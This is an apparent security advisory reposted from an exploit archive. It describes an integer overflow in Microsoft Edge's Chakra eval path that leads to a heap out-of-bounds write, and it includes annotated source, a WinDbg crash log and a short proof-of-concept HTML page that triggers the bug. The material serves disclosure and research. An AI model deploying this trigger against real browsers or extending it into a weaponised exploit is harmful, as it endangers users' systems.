Microsoft Edge Chakra chakra!Js::GlobalObject Integer Overflow
Posted on 22 August 2017
<!-- Report by Huang Anwen, He Xiaoxiao of ichunqiu Ker Team There is a classic heap overflow when eval a string which large enough in Chakra! This issue can be reproduced steadly in uptodate Edge in Win10 WIP. An exception will occur immediatly when opening POC.html in Edge. //ChakraCore-masterlibRuntimeLibraryGlobalObject.cpp ScriptFunction* GlobalObject::DefaultEvalHelper(ScriptContext* scriptContext, const char16 *source, int sourceLength, ModuleID moduleID, uint32 grfscr, LPCOLESTR pszTitle, BOOL registerDocument, BOOL isIndirect, BOOL strictMode) { Assert(sourceLength >= 0); AnalysisAssert(scriptContext); if (scriptContext->GetThreadContext()->EvalDisabled()) { throw Js::EvalDisabledException(); } #ifdef PROFILE_EXEC scriptContext->ProfileBegin(Js::EvalCompilePhase); #endif void * frameAddr = nullptr; GET_CURRENT_FRAME_ID(frameAddr); HRESULT hr = S_OK; HRESULT hrParser = S_OK; HRESULT hrCodeGen = S_OK; CompileScriptException se; Js::ParseableFunctionInfo * funcBody = NULL; BEGIN_LEAVE_SCRIPT_INTERNAL(scriptContext); BEGIN_TRANSLATE_EXCEPTION_TO_HRESULT { uint cchSource = sourceLength; size_t cbUtf8Buffer = (cchSource + 1) * 3; //OVERFLOW when cchSource large enough!!! ArenaAllocator tempArena(_u("EvalHelperArena"), scriptContext->GetThreadContext()->GetPageAllocator(), Js::Throw::OutOfMemory); LPUTF8 utf8Source = AnewArray(&tempArena, utf8char_t, cbUtf8Buffer); //Allocate memory on Arena heap with a incorrect but smaller size Assert(cchSource < MAXLONG); size_t cbSource = utf8::EncodeIntoAndNullTerminate(utf8Source, source, static_cast< charcount_t >(cchSource)); //OOB write HERE!!! Assert(cbSource + 1 <= cbUtf8Buffer); SRCINFO const * pSrcInfo = scriptContext->GetModuleSrcInfo(moduleID); [...] LEAVE_PINNED_SCOPE(); } END_TRANSLATE_EXCEPTION_TO_HRESULT(hr); END_LEAVE_SCRIPT_INTERNAL(scriptContext); #ifdef PROFILE_EXEC scriptContext->ProfileEnd(Js::EvalCompilePhase); #endif THROW_KNOWN_HRESULT_EXCEPTIONS(hr, scriptContext); if (!SUCCEEDED(hrParser)) { JavascriptError::ThrowParserError(scriptContext, hrParser, &se); } else if (!SUCCEEDED(hrCodeGen)) { [...] } else { [...] ScriptFunction* pfuncScript = funcBody->IsCoroutine() ? scriptContext->GetLibrary()->CreateGeneratorVirtualScriptFunction(funcBody) : scriptContext->GetLibrary()->CreateScriptFunction(funcBody); return pfuncScript; } } //ChakraCore-masterlibCommonCodexUtf8Codex.cpp __range(0, cch * 3) size_t EncodeIntoAndNullTerminate(__out_ecount(cch * 3 + 1) utf8char_t *buffer, __in_ecount(cch) const char16 *source, charcount_t cch) { size_t result = EncodeInto(buffer, source, cch); buffer[result] = 0; return result; } //ChakraCore-masterlibCommonCodexUtf8Codex.cpp __range(0, cch * 3) size_t EncodeInto(__out_ecount(cch * 3) LPUTF8 buffer, __in_ecount(cch) const char16 *source, charcount_t cch) { return EncodeIntoImpl<true>(buffer, source, cch); } //ChakraCore-masterlibCommonCodexUtf8Codex.cpp template <bool cesu8Encoding> __range(0, cchIn * 3) size_t EncodeIntoImpl(__out_ecount(cchIn * 3) LPUTF8 buffer, __in_ecount(cchIn) const char16 *source, charcount_t cchIn) { charcount_t cch = cchIn; // SAL analysis gets confused by EncodeTrueUtf8's dest buffer requirement unless we alias cchIn with a local LPUTF8 dest = buffer; if (!ShouldFastPath(dest, source)) goto LSlowPath; LFastPath: while (cch >= 4) { uint32 first = ((const uint32 *)source)[0]; if ( (first & 0xFF80FF80) != 0) goto LSlowPath; uint32 second = ((const uint32 *)source)[1]; if ( (second & 0xFF80FF80) != 0) goto LSlowPath; *(uint32 *)dest = (first & 0x0000007F) | ((first & 0x007F0000) >> 8) | ((second & 0x0000007f) << 16) | ((second & 0x007F0000) << 8); //OOB write HERE finally!!! dest += 4; source += 4; cch -= 4; } LSlowPath: if (cesu8Encoding) { [...] } else { [...] } return dest - buffer; } Microsoft (R) Windows Debugger Version 6.12.0002.633 AMD64 Copyright (c) Microsoft Corporation. All rights reserved. *** wait with pending attach Symbol search path is: SRV*c:mysymbol* http://msdl.microsoft.com/download/symbols Executable search path is: ModLoad: 00007ff6`26db0000 00007ff6`26dd5000 C:WindowsSystemAppsMicrosoft.MicrosoftEdge_8wekyb3d8bbweMicrosoftEdgeCP.exe ModLoad: 00007ffc`fc060000 00007ffc`fc23b000 C:WindowsSYSTEM32 tdll.dll ModLoad: 00007ffc`fb9d0000 00007ffc`fba7e000 C:WindowsSystem32KERNEL32.DLL ModLoad: 00007ffc`f90a0000 00007ffc`f92e9000 C:WindowsSystem32KERNELBASE.dll ModLoad: 00007ffc`f6b90000 00007ffc`f6c0e000 C:WindowsSYSTEM32apphelp.dll ModLoad: 00007ffc`fbbb0000 00007ffc`fbea9000 C:WindowsSystem32combase.dll ModLoad: 00007ffc`f94c0000 00007ffc`f95b6000 C:WindowsSystem32ucrtbase.dll ModLoad: 00007ffc`fba80000 00007ffc`fbba5000 C:WindowsSystem32RPCRT4.dll ModLoad: 00007ffc`f8620000 00007ffc`f868a000 C:WindowsSystem32cryptPrimitives.dll ModLoad: 00007ffc`fbfc0000 00007ffc`fc05d000 C:WindowsSystem32msvcrt.dll ModLoad: 00007ffc`ebd60000 00007ffc`ebdc0000 C:WindowsSYSTEM32wincorlib.DLL ModLoad: 00007ffc`fac50000 00007ffc`fad10000 C:WindowsSystem32OLEAUT32.dll ModLoad: 00007ffc`f8580000 00007ffc`f861a000 C:WindowsSystem32msvcp_win.dll ModLoad: 00007ffc`f8560000 00007ffc`f8571000 C:WindowsSystem32kernel.appcore.dll ModLoad: 00007ffc`dae30000 00007ffc`db1f4000 C:WindowsSystemAppsMicrosoft.MicrosoftEdge_8wekyb3d8bbweEdgeContent.dll ModLoad: 00007ffc`f86f0000 00007ffc`f8de2000 C:WindowsSystem32Windows.Storage.dll ModLoad: 00007ffc`f95c0000 00007ffc`f9661000 C:WindowsSystem32advapi32.dll ModLoad: 00007ffc`faf10000 00007ffc`faf69000 C:WindowsSystem32sechost.dll ModLoad: 00007ffc`f97b0000 00007ffc`f9801000 C:WindowsSystem32shlwapi.dll ModLoad: 00007ffc`fb9a0000 00007ffc`fb9c7000 C:WindowsSystem32GDI32.dll ModLoad: 00007ffc`f8e40000 00007ffc`f8fc8000 C:WindowsSystem32gdi32full.dll ModLoad: 00007ffc`fadc0000 00007ffc`faf0a000 C:WindowsSystem32USER32.dll ModLoad: 00007ffc`f8fd0000 00007ffc`f8fee000 C:WindowsSystem32win32u.dll ModLoad: 00007ffc`fad10000 00007ffc`fadba000 C:WindowsSystem32shcore.dll ModLoad: 00007ffc`f84d0000 00007ffc`f851c000 C:WindowsSystem32powrprof.dll ModLoad: 00007ffc`f8520000 00007ffc`f8535000 C:WindowsSystem32profapi.dll ModLoad: 00007ffc`eff10000 00007ffc`f0196000 C:WindowsSYSTEM32iertutil.dll ModLoad: 00007ffc`f8400000 00007ffc`f8429000 C:WindowsSYSTEM32USERENV.dll ModLoad: 00007ffc`f3a60000 00007ffc`f3a86000 C:WindowsSYSTEM32clipc.dll ModLoad: 00007ffc`f77d0000 00007ffc`f7801000 C:WindowsSYSTEM32 tmarta.dll ModLoad: 00007ffc`f7f20000 00007ffc`f7f37000 C:WindowsSYSTEM32cryptsp.dll ModLoad: 00007ffc`f7b60000 00007ffc`f7c04000 C:WindowsSYSTEM32DNSAPI.dll ModLoad: 00007ffc`faf70000 00007ffc`fafdc000 C:WindowsSystem32WS2_32.dll ModLoad: 00007ffc`f9710000 00007ffc`f9718000 C:WindowsSystem32NSI.dll ModLoad: 00007ffc`f9780000 00007ffc`f97ad000 C:WindowsSystem32IMM32.DLL ModLoad: 00007ffc`f7b20000 00007ffc`f7b57000 C:WindowsSYSTEM32IPHLPAPI.DLL ModLoad: 00007ffc`f6dc0000 00007ffc`f6f30000 C:WindowsSYSTEM32 winapi.appcore.dll ModLoad: 00007ffc`f83a0000 00007ffc`f83c5000 C:WindowsSYSTEM32crypt.dll ModLoad: 00007ffc`f7600000 00007ffc`f7621000 C:WindowsSYSTEM32profext.dll ModLoad: 00007ffc`e85e0000 00007ffc`e8654000 C:WindowsSYSTEM32msiso.dll ModLoad: 00007ffc`f4060000 00007ffc`f4082000 C:WindowsSYSTEM32EShims.dll ModLoad: 00007ffc`efdc0000 00007ffc`efddb000 C:WindowsSYSTEM32MPR.dll ModLoad: 00007ffc`fb410000 00007ffc`fb555000 C:WindowsSystem32ole32.dll ModLoad: 00007ffc`f6cf0000 00007ffc`f6d85000 C:Windowssystem32uxtheme.dll ModLoad: 00007ffc`e7140000 00007ffc`e71e1000 C:Program FilesCommon Filesmicrosoft sharedink iptsf.dll ModLoad: 00007ffc`dc6c0000 00007ffc`ddd71000 C:WindowsSYSTEM32edgehtml.dll ModLoad: 00007ffc`f0b20000 00007ffc`f0b5f000 C:WindowsSYSTEM32MLANG.dll ModLoad: 00007ffc`f5120000 00007ffc`f5259000 C:WindowsSYSTEM32wintypes.dll ModLoad: 00007ffc`dbb80000 00007ffc`dc36b000 C:WindowsSYSTEM32chakra.dll ModLoad: 00007ffc`f5640000 00007ffc`f56b6000 C:WindowsSYSTEM32policymanager.dll ModLoad: 00007ffc`f55a0000 00007ffc`f562f000 C:WindowsSYSTEM32msvcp110_win.dll ModLoad: 00007ffc`f41e0000 00007ffc`f4376000 C:WindowsSYSTEM32PROPSYS.dll ModLoad: 00007ffc`e6230000 00007ffc`e62fb000 C:WindowsSystem32ieproxy.dll ModLoad: 00007ffc`eb8e0000 00007ffc`eb9e6000 C:WindowsSystem32Windows.UI.dll ModLoad: 00007ffc`eb570000 00007ffc`eb5f2000 C:WindowsSYSTEM32TextInputFramework.dll ModLoad: 00007ffc`f65d0000 00007ffc`f66b3000 C:WindowsSYSTEM32CoreMessaging.dll ModLoad: 00007ffc`eb600000 00007ffc`eb8d2000 C:WindowsSYSTEM32CoreUIComponents.dll ModLoad: 00007ffc`f1ec0000 00007ffc`f1ed5000 C:WindowsSYSTEM32usermgrcli.dll ModLoad: 00007ffc`ee290000 00007ffc`ee7c1000 C:WindowsSystem32OneCoreUAPCommonProxyStub.dll ModLoad: 00007ffc`f9810000 00007ffc`fac47000 C:WindowsSystem32shell32.dll ModLoad: 00007ffc`f8df0000 00007ffc`f8e39000 C:WindowsSystem32cfgmgr32.dll ModLoad: 00007ffc`ec070000 00007ffc`ec09a000 C:WindowsSYSTEM32dwmapi.dll ModLoad: 00007ffc`e8d00000 00007ffc`e902e000 C:WindowsSYSTEM32WININET.dll ModLoad: 00007ffc`f83d0000 00007ffc`f8400000 C:WindowsSYSTEM32SspiCli.dll ModLoad: 00007ffc`fb020000 00007ffc`fb186000 C:WindowsSystem32msctf.dll ModLoad: 00007ffc`eea60000 00007ffc`eeb62000 C:WindowsSYSTEM32mrmcorer.dll ModLoad: 00007ffc`e4cf0000 00007ffc`e4d00000 C:WindowsSYSTEM32 okenbinding.dll ModLoad: 00007ffc`ebcc0000 00007ffc`ebd29000 C:WindowsSYSTEM32Bcp47Langs.dll ModLoad: 00007ffc`e9920000 00007ffc`e993b000 C:WindowsSYSTEM32ondemandconnroutehelper.dll ModLoad: 00007ffc`f28b0000 00007ffc`f2987000 C:WindowsSYSTEM32winhttp.dll ModLoad: 00007ffc`f7d80000 00007ffc`f7ddc000 C:Windowssystem32mswsock.dll ModLoad: 00007ffc`f3c20000 00007ffc`f3c2b000 C:WindowsSYSTEM32WINNSI.DLL ModLoad: 00007ffc`f01f0000 00007ffc`f03b8000 C:WindowsSYSTEM32urlmon.dll ModLoad: 00007ffc`f8390000 00007ffc`f839b000 C:WindowsSYSTEM32CRYPTBASE.DLL ModLoad: 00007ffc`e5180000 00007ffc`e519a000 C:WindowsSystem32Windows.Shell.ServiceHostBuilder.dll ModLoad: 00007ffc`e2c80000 00007ffc`e2e0a000 C:WindowsSYSTEM32ieapfltr.dll ModLoad: 00007ffc`f5820000 00007ffc`f583d000 C:WindowsSystem32 mclient.dll ModLoad: 00007ffc`e3e70000 00007ffc`e3e88000 C:WindowsSystem32UiaManager.dll ModLoad: 00007ffc`e24c0000 00007ffc`e2507000 C:Windowssystem32dataexchange.dll ModLoad: 00007ffc`f5cf0000 00007ffc`f5fcf000 C:WindowsSYSTEM32d3d11.dll ModLoad: 00007ffc`f66c0000 00007ffc`f67e2000 C:WindowsSYSTEM32dcomp.dll ModLoad: 00007ffc`f7340000 00007ffc`f73e4000 C:WindowsSYSTEM32dxgi.dll ModLoad: 00007ffc`ed850000 00007ffc`ed8d2000 C:Windowssystem32 winapi.dll ModLoad: 00007ffc`df920000 00007ffc`df99a000 C:WindowsSYSTEM32windows.ui.core.textinput.dll ModLoad: 00007ffc`dc620000 00007ffc`dc648000 C:WindowsSYSTEM32srpapi.dll ModLoad: 00007ffc`f92f0000 00007ffc`f94b9000 C:WindowsSystem32CRYPT32.dll ModLoad: 00007ffc`f8540000 00007ffc`f8551000 C:WindowsSystem32MSASN1.dll ModLoad: 00007ffc`deaf0000 00007ffc`deb4a000 C:WindowsSystem32Windows.Graphics.dll ModLoad: 00007ffc`f3ba0000 00007ffc`f3bfd000 C:WindowsSYSTEM32 input.dll ModLoad: 00007ffc`f6020000 00007ffc`f65c4000 C:WindowsSYSTEM32d2d1.dll ModLoad: 00007ffc`e9a00000 00007ffc`e9cbf000 C:WindowsSYSTEM32DWrite.dll ModLoad: 00007ffc`dc5e0000 00007ffc`dc5ef000 C:WindowsSystem32Windows.Internal.SecurityMitigationsBroker.dll ModLoad: 00007ffc`eb400000 00007ffc`eb442000 C:WindowsSYSTEM32vm3dum64.dll ModLoad: 00007ffc`eb390000 00007ffc`eb3f7000 C:WindowsSYSTEM32D3D10Level9.dll ModLoad: 00007ffc`f3150000 00007ffc`f31bb000 C:WindowsSystem32oleacc.dll ModLoad: 00007ffc`dc5d0000 00007ffc`dc5e0000 C:Windowssystem32msimtf.dll ModLoad: 00007ffc`e9970000 00007ffc`e99f8000 C:Windowssystem32directmanipulation.dll ModLoad: 00007ffc`db710000 00007ffc`db724000 C:WindowsSystem32Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll ModLoad: 00007ffc`dc590000 00007ffc`dc5c8000 C:WindowsSystem32smartscreenps.dll ModLoad: 00007ffc`e9780000 00007ffc`e9908000 C:WindowsSYSTEM32windows.globalization.dll (2004.11d0): Access violation - code c0000005 (!!! second chance !!!) chakra!utf8::EncodeIntoImpl<1>+0xb5: 00007ffc`dbdb69e5 418910 mov dword ptr [r8],edx ds:0000023d`22d81000=???????? 0:016> r rax=0000000000000061 rbx=000000bb058fb4f0 rcx=0000000000006100 rdx=0000000061616161 rsi=0000000000000002 rdi=000000bb058fb000 rip=00007ffcdbdb69e5 rsp=000000bb058fb700 rbp=0000023d1f937b60 r8=0000023d22d81000 r9=0000023d330e4fc8 r10=000000005555462c r11=0000023d22d80030 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=000000bb058fbd00 iopl=0 nv up ei pl nz na pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010200 chakra!utf8::EncodeIntoImpl<1>+0xb5: 00007ffc`dbdb69e5 418910 mov dword ptr [r8],edx ds:0000023d`22d81000=???????? 0:016> !address r8 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:WindowsSYSTEM32vm3dum64.dll - *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:WindowsSystem32ole32.dll - Usage: <unclassified> Allocation Base: 0000023d`22d80000 Base Address: 0000023d`22d81000 End Address: 0000023d`22d85000 Region Size: 00000000`00004000 Type: 00020000 MEM_PRIVATE State: 00002000 MEM_RESERVE Protect: 00000000 0:016> !address r8-1 Usage: <unclassified> Allocation Base: 0000023d`22d80000 Base Address: 0000023d`22d80000 End Address: 0000023d`22d81000 Region Size: 00000000`00001000 Type: 00020000 MEM_PRIVATE State: 00001000 MEM_COMMIT Protect: 00000004 PAGE_READWRITE 0:016> db 23d`22d80000 0000023d`22d80000 01 00 00 00 00 00 00 00-80 77 93 1f 3d 02 00 00 .........w..=... 0000023d`22d80010 00 00 00 00 00 00 00 00-d0 0f 00 00 00 00 00 00 ................ 0000023d`22d80020 00 00 d8 22 3d 02 00 00-00 00 00 00 00 00 00 00 ..."=........... 0000023d`22d80030 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0000023d`22d80040 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0000023d`22d80050 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0000023d`22d80060 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0000023d`22d80070 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0:016> kb RetAddr : Args to Child : Call Site 00007ffc`dbbf2611 : 0000023d`22d80030 0000023d`330e3020 00000000`55555600 00000235`00000004 : chakra!utf8::EncodeIntoImpl<1>+0xb5 00007ffc`dbb98201 : 0000023d`1f937b60 0000023d`330e3020 0000023d`55555600 000000bb`00000000 : chakra!Js::GlobalObject::DefaultEvalHelper+0x171 00007ffc`dbb97fb8 : 0000023d`22de0000 00007ffc`dc2c9f80 0000023d`00000000 0000023d`22ddc000 : chakra!Js::GlobalObject::VEval+0x231 00007ffc`dbb97ecd : 000000bb`058fbd40 0000023d`22ddb5c0 0000023d`1f934ba0 000000bb`058fbd00 : chakra!Js::GlobalObject::EntryEvalHelper+0xc8 00007ffc`dbdf6be3 : 0000023d`22ddb5c0 00000000`18000003 0000023d`22df0020 0000023d`22df9460 : chakra!Js::GlobalObject::EntryEval+0x7d 00007ffc`dbce6bf3 : 0000023d`1f934ba0 00000000`00000018 000000bb`058fbde8 0000023d`22ddc000 : chakra!amd64_CallFunction+0x93 00007ffc`dbba71ac : 0000023d`22ddb5c0 00007ffc`dbb97e50 000000bb`058fbe10 000000bb`058fbfa0 : chakra!Js::JavascriptFunction::CallFunction<1>+0x83 00007ffc`dbba77b4 : 000000bb`058fbfa0 0000023d`22ecc053 0000023d`22ddb5c0 00007ffc`00000008 : chakra!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIExtendedFlags<Js::LayoutSizePolicy<0> > > >+0x114 00007ffc`dbc84920 : 000000bb`058fbfa0 0000023d`22ecc053 0000023d`058fbfa0 0000023d`22ecc061 : chakra!Js::InterpreterStackFrame::OP_ProfiledReturnTypeCallIExtendedFlags<Js::OpLayoutT_CallIExtendedFlags<Js::LayoutSizePolicy<0> > >+0x5c 00007ffc`dbc7ff2c : 000000bb`058fbfa0 00000000`00000000 00000000`00000000 00000000`00000000 : chakra!Js::InterpreterStackFrame::ProcessProfiled+0x1250 00007ffc`dbd180cc : 000000bb`058fbfa0 0000023d`33040000 000000bb`058fc150 00000000`00000001 : chakra!Js::InterpreterStackFrame::Process+0x12c 00007ffc`dbd17be1 : 0000023d`22e00420 000000bb`058fc330 0000023d`33060fc2 000000bb`058fc348 : chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4ac 0000023d`33060fc2 : 000000bb`058fc380 00000000`00000000 00000000`00000000 00007ffc`dbdf6750 : chakra!Js::InterpreterStackFrame::InterpreterThunk+0x51 00007ffc`dbdf6be3 : 0000023d`22e00420 00000000`00000000 00000000`00000000 00000000`00000000 : 0x23d`33060fc2 00007ffc`dbce6bf3 : 0000023d`1f934ba0 00000000`00000000 0000023d`1f940c90 00007ffc`dbcfa837 : chakra!amd64_CallFunction+0x93 00007ffc`dbd11810 : 0000023d`22e00420 00007ffc`dbdf6df0 000000bb`058fc480 0000023d`1f937b60 : chakra!Js::JavascriptFunction::CallFunction<1>+0x83 00007ffc`dbd10a37 : 0000023d`22e00420 000000bb`058fc570 0000023d`1f937b60 00007ffc`fc027100 : chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x100 00007ffc`dbdd907e : 0000023d`22e00420 000000bb`058fc5d0 0000023d`1f937b60 0000023d`1f943000 : chakra!Js::JavascriptFunction::CallRootFunction+0x4b 00007ffc`dbd3cd54 : 0000023d`22e00420 000000bb`058fc610 00000000`00000000 000000bb`058fc628 : chakra!ScriptSite::CallRootFunction+0x6a 00007ffc`dbcd1b49 : 0000023d`1f937a50 0000023d`22e00420 000000bb`058fc6c0 00000000`00000000 : chakra!ScriptSite::Execute+0x124 00007ffc`dbcd2e8e : 0000023d`1f934750 000000bb`058fcbc8 000000bb`058fcc00 000000bb`80000082 : chakra!ScriptEngine::ExecutePendingScripts+0x1a5 00007ffc`dbcd3121 : 0000023d`1f934750 0000023d`2101f5c4 00000000`00000000 00000235`1f594330 : chakra!ScriptEngine::ParseScriptTextCore+0x436 00007ffc`dcac3c75 : 0000023d`1f9347a0 0000023d`2101f5c4 00000235`00000042 00000000`00000000 : chakra!ScriptEngine::ParseScriptText+0xb1 00007ffc`dcac3abe : 00000000`00000000 000000bb`058fca99 00000235`1f594260 00000235`00000000 : edgehtml!CJScript9Holder::ParseScriptText+0x119 00007ffc`dcac35d7 : 00000000`00000000 00000235`1f594260 00000235`1f51c1c0 00000235`1f5941b0 : edgehtml!CScriptCollection::ParseScriptText+0x202 00007ffc`dcac2f07 : 00000235`1f530c01 00000235`1f58c100 00000235`00000082 00007ffc`00000000 : edgehtml!CScriptData::CommitCode+0x357 00007ffc`dcb82f8d : 00000000`ffffffff 00000235`1f51c460 00000000`ffffffff 00000000`00000000 : edgehtml!CScriptData::Execute+0x20f 00007ffc`dc9c43d4 : 00000000`00000000 00000235`1f56c440 00000000`00000001 00007ffc`dcb7ceb9 : edgehtml!CHtmScriptParseCtx::Execute+0x7d 00007ffc`dc9c34a1 : 00000235`1f530c00 00000000`00000000 00000235`1f530c00 00000235`1f50c8c0 : edgehtml!CHtmParseBase::Execute+0x204 00007ffc`dcb7d23b : 00000000`04cd60c0 00000235`1f500000 00000235`1f5600b0 00000235`1f50c8c0 : edgehtml!CHtmPost::Exec+0x1e1 00007ffc`dcb7d11f : 00000235`1f50c8c0 00000000`04cd60c0 0000023d`203725a0 00000000`00000000 : edgehtml!CHtmPost::Run+0x2f 00007ffc`dcb7cfd3 : 00000235`1f500000 00000012`c245be01 00000000`00000002 00000235`1f541680 : edgehtml!PostManExecute+0x63 00007ffc`dcb7ce6d : 00000235`1f50c8c0 00000012`c245be61 0000023d`00000000 00007ffc`eff34779 : edgehtml!PostManResume+0xa3 00007ffc`dcb8b353 : 00000235`1f528600 0000023d`20350350 00000000`00000000 00000000`00000000 : edgehtml!CHtmPost::OnDwnChanCallback+0x3d 00007ffc`dcb650db : 00000235`1f5082d0 0000023d`1f927e73 0000023d`1f902200 000000bb`058fd150 : edgehtml!CDwnChan::OnMethodCall+0x23 00007ffc`dc9f1706 : 0000023d`1f902728 00000235`1f541680 0000023d`1f902260 000000bb`058fd180 : edgehtml!GWndAsyncTask::Run+0x1b 00007ffc`dcb3a860 : 0000002b`dd92f8c0 00000235`1f5416e0 00000235`1f5600b0 00007ffc`dca99138 : edgehtml!HTML5TaskScheduler::RunReadiedTask+0x236 00007ffc`dcb3a683 : 0000023d`20350350 00000000`00000000 00000000`00000002 00000235`1f508170 : edgehtml!TaskSchedulerBase::RunReadiedTasksInTaskQueueWithCallback+0x70 00007ffc`dc9f22b3 : 000000bb`058fd630 00000000`00008002 00000235`1f508170 00007ffc`fade47df : edgehtml!HTML5TaskScheduler::RunReadiedTasks+0xa3 00007ffc`dc9f07a5 : 00000000`00008002 00000235`1f500000 0000d687`35232df0 00000000`00000002 : edgehtml!NormalPriorityAtInputEventLoopDriver::DriveRegularPriorityTaskExecution+0x53 00007ffc`fadcbc50 : 00000000`001b029a 00000000`00000001 00000000`00000002 00000000`80000012 : edgehtml!GlobalWndProc+0x125 00007ffc`fadcb5cf : 00000235`1de0b5c0 00007ffc`dc9f0680 00000000`001b029a 00000000`001b029a : USER32!UserCallWinProcCheckWow+0x280 00007ffc`dae36d0e : 000000bb`058fd5d0 00000000`00000000 0000023d`2030b260 00000000`00000000 : USER32!DispatchMessageWorker+0x19f 00007ffc`dae4eecb : 00000000`00000000 00000000`00000001 00000235`1d929e40 00000235`1d8d4af0 : EdgeContent!CBrowserTab::_TabWindowThreadProc+0x3ee 00007ffc`e85eb4a8 : 00000000`00000000 00000235`1d928f50 00000000`00000000 00000000`00000000 : EdgeContent!LCIETab_ThreadProc+0x2ab 00007ffc`fb9e2774 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : msiso!_IsoThreadProc_WrapperToReleaseScope+0x48 00007ffc`fc0d0d61 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21 0:016> db r8 l-100 0000023d`22d80f00 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0000023d`22d80f10 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0000023d`22d80f20 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0000023d`22d80f30 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0000023d`22d80f40 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0000023d`22d80f50 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0000023d`22d80f60 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0000023d`22d80f70 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0000023d`22d80f80 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0000023d`22d80f90 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0000023d`22d80fa0 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0000023d`22d80fb0 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0000023d`22d80fc0 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0000023d`22d80fd0 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0000023d`22d80fe0 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0000023d`22d80ff0 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0:016> r rax=0000000000000061 rbx=000000bb058fb4f0 rcx=0000000000006100 rdx=0000000061616161 rsi=0000000000000002 rdi=000000bb058fb000 rip=00007ffcdbdb69e5 rsp=000000bb058fb700 rbp=0000023d1f937b60 r8=0000023d22d81000 r9=0000023d330e4fc8 r10=000000005555462c r11=0000023d22d80030 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=000000bb058fbd00 iopl=0 nv up ei pl nz na pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010200 chakra!utf8::EncodeIntoImpl<1>+0xb5: 00007ffc`dbdb69e5 418910 mov dword ptr [r8],edx ds:0000023d`22d81000=???????? --> <html> <head> <title> POC </title> </head> <script> //alert(''); var code = 'a'.repeat(0x55555600); eval(code); </script> </html>
